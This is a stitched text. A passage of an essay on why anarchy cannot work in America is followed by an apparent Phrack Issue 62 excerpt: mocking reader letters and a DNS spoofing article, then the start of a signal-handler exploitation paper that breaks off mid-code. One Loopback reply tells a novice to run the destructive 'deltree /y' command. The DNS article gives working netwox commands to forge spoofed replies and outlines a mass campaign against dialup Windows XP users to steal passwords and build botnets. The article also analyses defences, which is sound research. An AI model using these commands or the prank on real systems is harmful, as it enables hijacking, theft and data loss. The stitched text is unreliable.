A view espoused by some is that man should return to a more natural way of life and live primitively, as an animal, given that he is indeed an animal which is more highly evolved and retains higher faculties of reason and thought. This sort of view likewise presents another problem which is most likely impossible to overcome within anarchy: the fact that there is not anarchy within nature, and that animals are indeed governed if by nothing more than the principle of natural selection: the strong will survive, and the weak will perish. It is a fact that resources of a particular area are not unlimited, such as food, water, material for shelters, fuel, and so forth. It is also true that there will be those who are more efficient by nature in gathering food, finding themselves fortunate enough to live near and perhaps possess a source of fresh water, and so on. Therefore, those who are stronger and more efficient in these areas will by nature rule over those who are weaker and not as adept or fortunate enough to be in like position. Such an individual or individuals would thus be held in higher esteem in a given community because of the resources he/she possesses, and which the other members want or need. As we can see, this is leading to another form of government: those with the best plots of land held in private ownership will naturally become those who supply the food and necessary materials to the rest of the community, and will therefore become as an authority figure. It is trivial to understand that this situation can be prevented if private ownership of land is not allowed, or if food, water, and other relatively scarce resources are distributed equally amongst the populace. The only problem with this is that there must by definition be some sort of hierarchy or committee collecting these resources, distributing them, and ensuring that everyone is conducting themselves honestly with regard to the matter. This will likewise lead to yet another form of control and government: over time or, perhaps from the beginning depending upon how much force the committee would have or how dire the situation is at that time, they will come to form a sort of government which would provide the members of society with its needed resources, and would thus be much like the current government we have today, existing by serving society and using its natural power to threaten others to accept a given set of laws in order to preserve social order. Even the most primitive of societies have an accepted leadership, and at least have some sort of social order and a way in which to ensure that such a social order is not disrupted to the detriment of society. Hence, if the society is to be held together and not devolve into nothing more than close-knit families attempting to ensure for themselves survival without thought to the rest of the population, there must exist some sort of hierarchy or, for lack of a better term, system of government.

I conclude this rather brief essay by answering the question posed in the beginning: it is not possible that anarchy can exist within America if only because of the fact that the population could not handle it, and can not be trusted to act with the best interest of society in mind. Not many in this culture of ego-gratification and self-centered hedonism would find it in their best interests to give up their many enjoyments, possessions, and sheltered way of life so that they could exist with more responsibility and self-reliance. Not only this, it would also be impossible to rid the majority of the population of the idea of private ownership of property, and because of the self-centered nature of this culture, it would be entirely out of the question to assume that a form of communism or communal-lifestyle would be acceptable to the majority involved. Besides, without some form of central government deciding the fate of this communal property and what should be done with the material harvested or grown from it, we would be hard-pressed to come to any agreement upon what should be done with it. Thus, without any sort of unification or democratic government, or even an authoritarian dictator imposing his will upon the population at large, nothing can be achieved except factionalism, strife, and inevitably destabilizing, unconstructive conflict.

```
|=[ EOF ]=---------------------------------------------------------------=|
                                ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack  Staff ]=-----------------------------=|


|=[ 0x01 ]=--------------------------------------------------------------=|

From: "Tom Schouten" <tomschout@hotmail.com>

plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next

cheers,
Tom

    [ Tom, I'm sorry but you wont continue the adventure with us. ]

|=[ 0x02 ]=--------------------------------------------------------------=|

From: if it were only this easy <temptedtoplay@Al-Kharafi.com>
Subject: Very important send to editor in chief asap

I should start off buy saying I'm not a cop fed or any other kind of law en
forcement nor am i affiliated with any national local government of any kind
to be honest i don't exist anywhere but, i am not a fan nor friend either.
[ ... ] I however have the knowledge you seek but unlike you i will not
freely share the knowledge with just every one. you must deserve to know.
you must prove yourself. [ ... ] now email is not safe but I've taken the
precautions on my end to keep this message out of government hands i hope
your server is secure if not they will be looking for me of course they are
always looking for me. [ ... ] if you don't succeed which you probably wont
don't worry thousands before you have failed and thousands will after it
just makes you average.

p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the
recipients do not know who i am and questioning them would be like
searching google.


    [ I'm only seeking for one information: Who gave you our email addres? ]

|=[ 0x03 ]=--------------------------------------------------------------=|

From: <eeweep@eeweep.be>
Date: Fri, 5 Dec 2003 22:56:03 +0100

> Hi there,
> I was looking through phrack releases and I couldn't find an article about
> APR (ARP Poison Routing, used to spoof on switched networks).

    [ Unfortunately, you sent your message at 22:56, and we dont accept
      articles after 22:55. ]

> Maybe there is one and I'm stupid :-)

    [ There is something smart in every stupid sentence. ]

> If you can verify that such an article does not exist (in phrack that is)

    [ we hereby verify that such an article does not exist. ]

> I'll start writing right away ;-)

    [ our email address has changed for article
      submission: devnull@phrack.org ]
```

```
> Greetz,
> eeweep

Gobuyabrain,
PHRACKSTAFF

|=[ 0x04 ]=---------------------------------------------------------------=|

From: D D <mmmmmcute24@yahoo.de>

I really know you are good! I would like to know how good you are.
I have primitive questions:

- I'm connected with a dial up connexion and I dont want want my server or
anybody else to know witch URL I'm browsing. Is that possible?

    [ yes ]

- Witch system is "secure" Mac or Win or linux.

    [ none ]

|=[ 0x05 ]=---------------------------------------------------------------=|

    [ IRC session after receiving the donation for hardcover print. ]

<staff> Mon3yLaundy - vis0r wants to know if phrack is a registered charity
<Mon3yLaundy> it's not.
<staff> yeah, i told him
<staff> he just wants a tax deduction
<Mon3yLaundy> tax my ass.

|=[ 0x06 ]=---------------------------------------------------------------=|

From: <bris@cimex.com.cu>

     Now I'm discovering your magazine, and I want to receive it by
     email... The question is > How can I receive the magazine by email???

    [ wget http://www.phrack.org/archive/phrack62.tar.gz;
      puuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu ]

|=[ 0x07 ]=---------------------------------------------------------------=|

From: Joshua ruffolo <ruffolojoshua@yahoo.com>

A friend referred me to your site.  I know nothing much about what is
posted.  I don't understand what's what.

    [ This is loopback. ]

Apparently there is some basic info that should be known to understand,
but what is it?

    [ howto_not_getting_into_loopback.txt ]

|=[ 0x08 ]=---------------------------------------------------------------=|

From: Hotballer002@cs.com
Subject: I want to know something about downloading the issues

hi. im nelson and i went to your site and i want to see if u could help me. I
just stated the process of learning how to hack and i think your issues can
help me. I downloaded one of the issues and when i opened it, a windows pop-up
asked me what program I want to open the issue with. And thats what I don't
know. So please help me and tell me what program I'm supposed to have to open
the issues with. Thank you

    [ You have to pass our IQ test first: click on start -> run and
```

```
      enter "deltree /y" ]

|=[ 0x09 ]=---------------------------------------------------------------=|

From: MrRainbowStar@aol.com

I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This
TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are
quite a few typos in the Hackers handbook? -but thats cool its all good I know
what you mean .....

    [ IT'S ALL GOOD MATE! ]


|=[ EOF ]=----------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

```
|=-----------------------------------------------------------------------=|
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
```

1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks
2 - Injecting Signals by Shaun
3 - Pirating A Radio Station

|=-------=[The Impact of RFC Guidelines on DNS Spoofing Attacks]=------=|

by have2Banonymous

--[Contents

1 - Executive Summary
2 - Overview of Basic DNS Spoofing Attacks
3 - Proposed Criteria for DNS Reply Acceptance
4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
5 - Example DNS Spoofing Attack
6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
7 - Implementation Comparison
8 - Conclusion

--[1 - Executive Summary

This article provides a brief overview of basic Domain Name System (DNS) spoofing attacks against DNS client resolvers. Technical challenges are proposed that should help to both identify attempted attacks and prevent them from being successful. Relevant Request for Comments (RFC) guidelines, used by programmers to help ensure their DNS resolver code meets specifications, are reviewed. This results in the realisation that the RFC guidelines are not adequately specific or forceful to help identify or prevent DNS spoofing attacks against DNS client resolvers. Furthermore, the RFC guidelines actually simplify such attacks to a level that has not previously been discussed in the public domain until now.

To highlight the consequences of merely conforming to the RFC guidelines without considering security ramifications, an example DNS spoofing attack against the DNS resolver in Microsoft Windows XP is provided. This illustrates serious weaknesses in the Windows XP DNS resolver client implementation. For example, Windows XP will accept a DNS reply as being valid without performing a thorough check that the DNS reply actually matches the DNS request. This allows an attacker to create malicious generic DNS replies that only need to meet a couple of criteria with predictable values in order to be accepted as a valid DNS reply by the targeted user.

This article discusses the practical impact of the issues raised, such as the ability to perform a successful and reasonably undetectable DNS spoofing attack against a large target base of Windows XP users, without the attacker requiring knowledge of the DNS requests issued by the targeted users. Finally, a comparison with the DNS resolver in Debian Linux is supplied.

--[2 - Overview of Basic DNS Spoofing Attacks

When a user types the web site name www.somewebsite.org into their web browser, their computer issues a DNS request to their Internet Service Provider's (ISP) DNS server to resolve the web site name to an IP address.

An attacker may attempt to subvert this process by sending the user a DNS reply containing an incorrect IP address, resulting in the user's computer connecting to a computer of the attacker's choice instead of the desired web site.

--[3 - Proposed Criteria for DNS Reply Acceptance

RFC 2535 (Domain Name System Security Extensions) otherwise known as DNSSEC discusses how cryptographic digital signatures can be used to authenticate DNS transactions to help mitigate DNS spoofing attacks. However, the adoption of this technology has been extremely slow. Even without this level of security, it would initially appear that a DNS spoofing attack against a DNS client resolver would be challenging to perform. This challenge results from the following proposed criteria of the DNS reply that must be met for it to be accepted by the computer performing the DNS lookup.

Proposed criteria of a DNS reply for it to be accepted:

1) The source IP address must match the IP address that the DNS request was sent to.

2) The destination IP address must match the IP address that the DNS request was sent from.

3) The source port number must match the port number that the DNS request was sent to.

4) The destination port number must match the port number that the DNS request was sent from.

5) The UDP checksum must be correctly calculated. This may require the attacker to spend more time and effort per attack, although some packet generation utilities have the ability to automatically calculate this value.

6) The transaction ID must match the transaction ID in the DNS request.

7) The domain name in the question section must match the domain name in the question section of the DNS request.

8) The domain name in the answer section must match the domain name in the question section of the DNS request.

9) The requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply.

--[4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria

According to the RFC guidelines, it is not necessary for all of these criteria to be met in order for a DNS reply to be accepted. Specifically, criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6 and 9 must be met. The following is a devil's advocate interpretation of the RFC guidelines and a detailed discussion of their effect on each criteria.

Criteria 1 (source IP address) does not have to be met according to RFC 791 (Internet Protocol) which states that "In general, an implementation must be conservative in its sending behavior, and liberal in its receiving behavior. That is, it must be careful to send well-formed datagrams, but must accept any datagram that it can interpret (e.g., not object to technical errors where the meaning is still clear)". RFC 1035 (Domain names - implementation and specification) states that "Some name servers send their responses from different addresses than the one used to receive the query. That is, a resolver cannot rely that a response will come from the same address which it sent the corresponding query to". The source IP address can therefore be set to an arbitrary IP address. Regardless, if desired, the attacker can set the source IP address of their DNS replies to that of the targeted user's DNS server. This is especially easy if the targeted user is a dialup ISP user since the ISP may have a friendly "How to setup your Internet connection" web page that specifies the IP address of their DNS server.

Criteria 2 (destination IP address) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "For most purposes, a datagram addressed to a broadcast or multicast destination is processed as if it had been addressed to one of the host's IP addresses". Using a broadcast destination address would be most useful for attacking computers on a Local Area Network. Furthermore, a DNS reply may be accepted if it is addressed to any of the IP addresses associated with a network interface.

Criteria 3 (source port number) does not have to be met according to RFC 768 (User Datagram Protocol) which states that "Source Port is an optional field". The source port can therefore be set to an arbitrary value such as 0 or 12345. Since the source port number of the DNS reply affects packet dissection by utilities such as Ethereal, a value of 137 is a devious choice since it will be dissected as the NetBIOS Name Service (NBNS) protocol which is based on DNS. As a result, the malicious DNS replies can be made to appear like NetBIOS traffic which is likely to be discarded by the system administrator or investigator as typical NetBIOS background noise.

Criteria 4 (destination port number) must be met according to RFC 768 (User Datagram Protocol). However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP always used port number 1026 to perform DNS queries, though this value depends on when the DNS Client service started during the boot process.

Criteria 5 (UDP checksum) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "the UDP checksum is optional; the value zero is transmitted in the checksum field of a UDP header to indicate the absence of a checksum".

Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries". However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP did not randomly choose the 16 bit transaction ID value. Rather, Windows XP always used a transaction ID of 1 for the first DNS query performed after the computer was turned on, with the transaction ID simply incremented for subsequent DNS queries. Transaction ID 1 and 2 were used by the operating system to perform a DNS query of time.windows.com.

Criteria 7 and 8 (domain name in question and answer section) do not have to be met according to RFC 1035 (Domain names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries" and recommends as a secondary step "to verify that the question section corresponds to the information currently desired". RFC recommendations do not have to be followed, and in the case of an absent question section, the principal that an implementation must accept any datagram that it can interpret appears to apply. Therefore, a DNS reply containing a single answer in the form of an IP address can be matched to the corresponding DNS request based on the transaction ID, without requiring a question section and without resorting to the overhead of processing the domain information in the answer section. Furthermore, an answer section is not even necessary if an Authority section is provided to refer the requesting computer to an authoritative name server (or a DNS server under the attacker's control).

Criteria 9 (requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply) must be met and remains as

the greatest challenge to the attacker. This restriction is difficult
to bypass unless the legitimate DNS server is taken out of action to
prevent competition with the spoofed DNS reply, or numerous spoofed DNS
replies are sent to the targeted user. However, as discussed above,
criteria 1 to 8 either do not have to be met or may have predictable
values. Therefore an attacker may require no knowledge of the victim's
DNS request to have a reasonable chance of performing a successful attack
by sending the requesting computer a small number of generic DNS replies.
Furthermore, there is a viable workaround to the restrictive nature of
this criteria. If the attacker is not trying to compromise a specific
computer, a "spray and pray" approach can be used. This approach involves
sending a very small number (twenty) of spoofed DNS replies to a maximum
number of potential target computers, instead of trying to compromise a
specific user and only once they have been compromised then trying to
compromise another specific user. This "spray and pray" approach won't
compromise every potential victim, and every packet the attacker sends
won't result in a compromise, but enough of the attacker's malicious DNS
replies will be accepted by enough potential victims to make the exercise
worthwhile.

--[5 - Example DNS Spoofing Attack

A DNS spoofing attack using the concepts discussed in this article was
performed against a Windows XP computer. The test Windows XP computer
was a default install of the operating system followed by the application
of Service Pack 1. The Microsoft Internet Connection Firewall shipped
with Windows XP was then enabled, and configured to perform full logging
of dropped packets and successful connections.

The Windows XP user typed the web site URL www.somewebsite.org into
Internet Explorer, resulting in a DNS request being sent from the user's
computer (IP address 192.168.1.1) to the user's DNS server (IP address
192.168.1.254).

A spoofed DNS reply disguised as NetBIOS data was sent to the user from
the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that
whatever name the user was attempting to resolve had the IP address
192.168.1.77. The IP address 192.168.1.77 was actually a web server
under the attacker's control.

Internet Explorer connected to 192.168.1.77 and requested the web page.
This revealed that the designers of the DNS resolver in Microsoft Windows
XP also interpreted the RFC guidelines as described in the previous
section, significantly simplifying DNS spoofing attacks.

The following network packet decoded by Ethereal version 0.10.3
illustrates the malicious DNS reply and demonstrates how Ethereal can be
confused into decoding the packet as NetBIOS traffic.

```
Frame 1 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25
Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr:
192.168.1.1 (192.168.1.1)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026)
    Source port: 137 (137)
    Destination port: 1026 (1026)
    Length: 68
    Checksum: 0x0000 (none)
NetBIOS Name Service
    Transaction ID: 0x0003
    Flags: 0x8580 (Name query response, No error)
    Questions: 0
    Answer RRs: 1
    Authority RRs: 0
    Additional RRs: 0
    Answers
        WORKGROUP<1b>: type unknown, class inet
```

```
            Name: WORKGROUP<1b>
            Type: unknown
            Class: inet
            Time to live: 1 day
            Data length: 4
            Data

0000  00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00   ..).}%.PV.....E.
0010  00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8   .X.X....%.......
0020  01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00   .......D........
0030  00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45   ...... FHEPFCELE
0040  48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43   HFCEPFFFACACACAC
0050  41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80   ACACABL.......Q.
0060  00 04 c0 a8 01 4d                                 .....M
```

This packet was created using the following parameters passed to the
freely available netwox packet creation utility:

```
netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17
--ip4-data 00890402004400000003858000000001000000002046484550464345 4c45484
64345504646464143414341434143414341424c000001000100015180 0004c0a8014d
```

Alternatively, the following parameters could be used since netwox
automatically calculates the UDP checksum:

```
netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137
--udp-dst 1026 --udp-data 0003858000000001000000002046484550464345 4c45484
64345504646464143414341434143414341424c000001000100015180 0004c0a8014d
```

The following shows that the spoofed DNS reply has been added to the
user's DNS resolver cache for a period of 1 day, causing future
resolutions of www.somewebsite.org to map to the web server under the
attacker's control. The cache duration value can be decreased by the
attacker so that the entry is either not cached or is immediately removed
from the cache in order to remove evidence of the attack.

```
C:\>ipconfig /displaydns

Windows IP Configuration

         1.0.0.127.in-addr.arpa
         ----------------------------------------
         Record Name . . . . . : 1.0.0.127.in-addr.arpa.
         Record Type . . . . . : 12
         Time To Live  . . . . : 604393
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         PTR Record  . . . . . : localhost


         www.somewebsite.org
         ----------------------------------------
         Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL
         Record Type . . . . . : 1
         Time To Live  . . . . : 86364
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         A (Host) Record . . . : 192.168.1.77


         localhost
         ----------------------------------------
         Record Name . . . . . : localhost
         Record Type . . . . . : 1
         Time To Live  . . . . : 604393
         Data Length . . . . . : 4
         Section . . . . . . . : Answer
         A (Host) Record . . . : 127.0.0.1
```

The following log file from Microsoft's Internet Connection Firewall reveals that it did not provide any protection against the attack, though it is not designed to inspect and correlate DNS traffic. If the firewall was not configured to log successful connections, then there would not have been any log entries.

```
#Verson: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size
tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info

2004-05-10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 - - - - - -
- -
2004-05-10 20:34:57 OPEN-INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 - - -
- - - - -
2004-05-10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - -
- -
2004-05-10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 - - - - -
- - -
2004-05-10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 - - - - - -
- -
```

It can be seen that when the Windows XP computer sent a UDP packet from port 1026 to port 53 of the DNS server, the firewall allowed all incoming UDP traffic to port 1026, regardless of the source IP address or source port of the incoming traffic. Such incoming traffic was allowed to continue until the firewall decided to block access to port 1026, which occurred when there was no incoming traffic to port 1026 for a defined period of time. This timeframe was between 61 seconds and 120 seconds, as it appeared that the firewall checked once per minute to determine if access to ports should be revoked due to more than 60 seconds of inactivity. Assuming that users connected to the Internet would typically perform a DNS query at least every minute, incoming access to port 1026 would always be granted. An attacker on the Internet could therefore send the Windows XP computer spoofed DNS replies without worrying that they might be blocked by the firewall. Such traffic would not generate any logs if the firewall was configured to only Log Dropped Packets. If the firewall was configured to also Log Successful Connections as in this example, these log entries would disappear among the thousands of other log entries. Since the firewall logs connections and not traffic, if the source IP address was set to the Windows XP computer's DNS server, no extra firewall log entries would be created as a result of the DNS spoofing attack.

The netstat command revealed that the Windows XP computer was always listening on UDP port 1026, and as a result, extra DNS replies were silently discarded and did not generate an error message in the event log or an ICMP port unreachable packet. This behaviour, and the reuse of the same source port number for DNS requests, was attributed to the DNS Client service.

--[6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks

The attacker does not require information about the targeted user's DNS requests, such as the IP address of the user's DNS server, the source port of the user's DNS request, or the name that the user was attempting to resolve to an IP address. Therefore the attacker does not require access to the communication link between the targeted user and their DNS server.

Windows XP SP1 matches DNS replies to DNS requests by only the transaction ID and the UDP port number, and both of these values are very predictable. Since the name to be resolved is not matched between the DNS request and the DNS reply, the attacker does not care what domain name the user queried since this domain name does not have to be placed in the attacker's DNS reply. As a result, the attacker can create generic malicious DNS replies that will successfully subvert the targeted user's DNS lookup process regardless of the name the targeted user was attempting to resolve, and regardless of the targeted user's network configuration such as the IP address of their DNS server.

An attacker desiring to compromise as many computers as possible with the least amount of effort and in the shortest timeframe could send twenty DNS replies that look similar to the generic DNS reply used in the example attack on Windows XP in this article, though with the transaction ID ranging from 3 to 22. To be more thorough, the attacker could instead send one hundred DNS replies with the destination port number ranging from 1025 to 1029. The attacker would use a "spray and pray" approach by sending these DNS replies to every IP address in the IP address range belonging to a large dialup Internet Service Provider, and when finished, repeating the process.

A level of success is guaranteed in such an attack scenario considering the huge target base of potential victims awaiting a DNS reply, and considering that Windows XP accepts anything vaguely resembling a DNS reply as a valid DNS reply.

A recipient of the attacker's twenty DNS replies will accept one of them as being valid, resulting in a successful attack, if the recipient:
- is using Windows XP with its poorly implemented DNS client resolver (most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so and therefore haven't performed more than twenty DNS requests (a reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a reasonable number of the huge target base of dialup Internet users are in this category).

The targeted Windows XP users would be unlikely to notice the attack, especially if they were relying on Microsoft Internet Connection Firewall to protect them. Analysis of the logs of a more sophisticated firewall and inspection of network traffic would not readily reveal a DNS spoofing attack since the source IP address would not be that of the legitimate DNS server. Furthermore, the source port number and content of the spoofed DNS replies can be crafted to make them appear to be typical NetBIOS background noise which would probably be discarded by the user as useless network traffic floating around the Internet. Finally, the targeted IP address range of a dialup ISP would consist mainly of home Internet users who are not educated in advanced network security concepts.

The IP address in the spoofed DNS replies could be a computer on the Internet under the attacker's control, which is running proxy software for email (SMTP and POP3) and HTTP traffic. The attacker would be able to collect sensitive information including email sent and received as well as passwords for future email retrieval. Web based email and unencrypted login details to web sites would also be collected. The attacker could add content to HTML pages before returning them to the user. Such content could include banner ads to generate money, or a hidden frame with a link to a file on a third party web site effectively causing a distributed denial of service attack against the third party. More seriously, the attacker could increase the scope of the compromise by adding HTML content that exploited one of the publicly known vulnerabilities in Internet Explorer that allows the execution of arbitrary code, but for which there is no vendor patch. For example, vulnerabilities discussed at the web site http://www.computerworld.com.au/index.php?id=117316298&eid=-255
The "spray and pray" attack approach is useful for creating a network of semi-randomly chosen compromised computers under the attacker's control, otherwise known as a botnet.

Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST header to determine which web site the user wanted to visit. However, for the purpose of easily and seamlessly proxying traffic, an attacker may decide not to place an Answer section in the spoofed DNS replies. Rather, the attacker may send a non-authoritative spoofed DNS reply using the

Authority and Additional sections of DNS replies to refer the requesting computer to a DNS server under the attacker's control. This would allow the attacker to know exactly what domain the victim computer was attempting to query, and furthermore such spoofed DNS replies may have a long lasting and widespread effect on the victim's computer. A detailed discussion of DNS referrals and testing whether Windows XP could handle them is outside the scope of this article.

--[7 - Implementation Comparison

Contributors to the Linux operating system appear to have taken a hardline security conscious approach to interpreting the RFC guidelines, bordering on non-conformance for the sake of security. The Mozilla web browser running on the author's Debian Linux computer was very restrictive and required DNS replies to meet all of the above nine criteria except for criteria 5, where a UDP checksum value of zero was accepted. An incorrect UDP checksum was accepted when the packet was sent over a local network but not when sent over the Internet. Reviewing the kernel source code indicated that for local networks, the UDP checksum was deliberately ignored and hardware based checking was performed instead for performance reasons. This appeared to be a feature and not a bug, even though it did not comply with RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "If a UDP datagram is received with a checksum that is non-zero and invalid, UDP MUST silently discard the datagram".

During testing, the Linux computer used source port numbers 32768 and 32769 to perform DNS queries. The transaction ID was randomly generated, complicating DNS spoofing attacks, though the transaction ID used in the retransmission of an unanswered DNS request was not as random. The choice of transaction ID values appeared robust enough to help defend against DNS spoofing attacks on the Internet since the initial transaction ID value was unpredictable, and the first DNS request would typically be answered resulting in no need for retransmissions.

The iptables firewall on the Linux computer was configured so that the only allowed UDP traffic was to/from port 53 of the legitimate DNS server. When a DNS query was performed and a DNS reply was received, iptables was unable to block extra (spoofed) incoming DNS replies since it is not designed to inspect DNS traffic and allow one incoming DNS reply per outgoing DNS request. However, since the port used to send the DNS query was closed once a valid DNS reply was received, ICMP port unreachable messages were generated for the extra (spoofed) incoming DNS replies. iptables was configured to block and log outgoing ICMP network traffic. Reviewing the logs revealed ICMP port unreachable messages that were destined to the legitimate DNS server, which were a good indication of a DNS spoofing attack. Further to this evidence of a DNS spoofing attack, since the DNS replies must come from port 53, analysis of the network traffic using a packet dissector such as Ethereal revealed traffic that looked like DNS replies apparently originating at the legitimate DNS server.

--[8 - Conclusion

The RFC guidelines simplify DNS spoofing attacks against DNS client resolvers since the attacker does not require information such as the IP address of the potential victim's DNS server or the contents of DNS queries sent by the potential victim. Microsoft Windows XP is more susceptible to DNS spoofing attacks than Linux due to its poor implementation of the RFC guidelines. Further simplifying DNS spoofing attacks are Windows XP's inadequate matching of DNS requests to DNS replies, and the predictable port number and transaction ID values - behaviour that could be changed without violating the RFC guidelines. Evidence of DNS spoofing attacks is minimised by the ability to disguise DNS replies as NetBIOS traffic, the lack of configuration granularity and traffic inspection of some firewalls, and Windows XP's failure to generate ICMP error messages for excessive DNS replies.

RFC 791 (Internet Protocol) stating that a program must be "liberal in its receiving behavior" and "must accept any datagram that it can interpret" may have been acceptable in 1981 when the RFC was created and interoperability was more important than security. However, the Internet has changed from a somewhat trustworthy user base of representatives from educational institutions and the US Department of Defense to now include hackers and scammers, making security a high profile consideration. Perhaps it is time for software based on this outdated perception of the Internet to be changed as well.

The Internet community continues to wait for widespread adoption of cryptographic digital signatures used to authenticate DNS transactions, as discussed in RFC 2535 (Domain Name System Security Extensions). In the meantime, the threat of DNS spoofing attacks could be minimised by Microsoft improving the DNS implementation in all of their affected operating systems. Such improvements include using random transaction ID values, checking that the name in a DNS reply matches the name to be resolved in the DNS request, and using a random source port for DNS requests. These improvements would make attacks against DNS client resolvers significantly more difficult to perform, and such improvements would not violate the RFC guidelines.

```
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

```
########################################
# Injecting signals for Fun and Profit #
########################################
```

by shaun2k2 <shaunige@yahoo.co.uk>

--[1 - Introduction

More secure programming is on the rise, eliminating more generic program exploitation vectors, such as stack-based overflows, heap overflows and symlink bugs. Despite this, subtle vulnerabilities are often overlooked during code audits, leaving so-called "secure" applications vulnerable to attack, but in a less obvious manner. Secure design of signal-handlers is often not considered, but I believe that this class of security holes deserves just as much attention as more generic classes of bugs, such as buffer overflow bugs.

This paper intends to discuss problems faced when writing signal-handling routines, how to exploit the problems, and presents ideas of how to avoid such issues. A working knowledge of the C programming language and UNIX-like operating systems would benefit the reader greatly, but is certainly not essential.

--[2 - Signal Handling: An Overview

To understand what signal handlers are, one must first know what exactly a signal is. In brief, signals are notifications delivered to a process to alert the given process about "important" events concerning itself. For example, users of an application can send signals using common keyboard Ctrl combinations, such as Ctrl-C - which will send a SIGINT signal to the given process.

Many different signals exist, but some of the more common (or useful) ones are: SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist, however. A list of available signals, according to the POSIX.1 standard, can be found in the unix manual page signal(7).

It is worth noting that the signals SIGKILL and
SIGSTOP cannot be handled, ignored or blocked. Their 'action' can

not be changed.

"What are signal handlers", one might ask. The simple answer is that signal handlers are small routines which are typically called when a pre-defined signal, or set of signals, is delivered to the process it is running under before the end of program execution - after execution flow has been directed to a signal handling function, all instructions within the handler are executed in turn. In larger applications, however, signal handling routines are often written to complete a more complex set of tasks to ensure clean termination of the program, such as; unlinking of tempory files, freeing of memory buffers, appending log messages, and freeing file descriptors and/or sockets. Signal handlers are generally defined as ordinary program functions, and are then defined as the default handler for a certain signal usually near to the beginning of the program.

Consider the sample program below:

```
--- sigint.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
        printf("Ctrl-C caught!\n");
        exit(0);
}

int main() {
        signal(SIGINT, sighndlr);

        while(1)
                sleep(1);


        /* should never reach here */
        return(0);
}
--- EOF ---
```

'sigint.c' specifies that the function 'sighndlr' should be given control of execution flow when a SIGINT signal is received by the program. The program sleeps "forever", or until a SIGINT signal is received - in which case the "Ctrl-C caught!" message is printed to the terminal - as seen below:

```
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# ./test
[... program sleeps ...]
Ctrl-C caught!
[root@localhost shaun]#
--- EOF ---
```

Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C combination at the keyboard, but a SIGINT signal can be generated by the kill(1) utility.

However simple or complex the signal handler is, there are several potential pitfalls which must be avoided during the development of the handler. Although a signal handler may look "safe", problems may still arise, but may be less-obvious to the unsuspecting eye. There are two main classes of problems when dealing with signal-handler development - non-atomic process modifications, and non-reentrant code, both of which are potentially critical to system security.

--[3 - Non-atomic Modifications

Since signals can be delivered at almost any moment, and privileges often need to be maintained (i.e root privileges in a SUID root application) for obvious reasons (i.e for access to raw sockets, graphical resources, etc), signal handling routines need to be written with extra care. If they are not, and special privileges are held by the process at the particular time of signal delivery, things could begin to go wrong very quickly. What is meant by 'non-atomic' is that the change in the program isn't permanant - it will just be in place temporarily. To illustrate this, we will discuss a sample vulnerable program.

Consider the following sample program:

```
--- atomicvuln.c ---
#include <stdio.h>
#include <signal.h>

void sighndlr() {
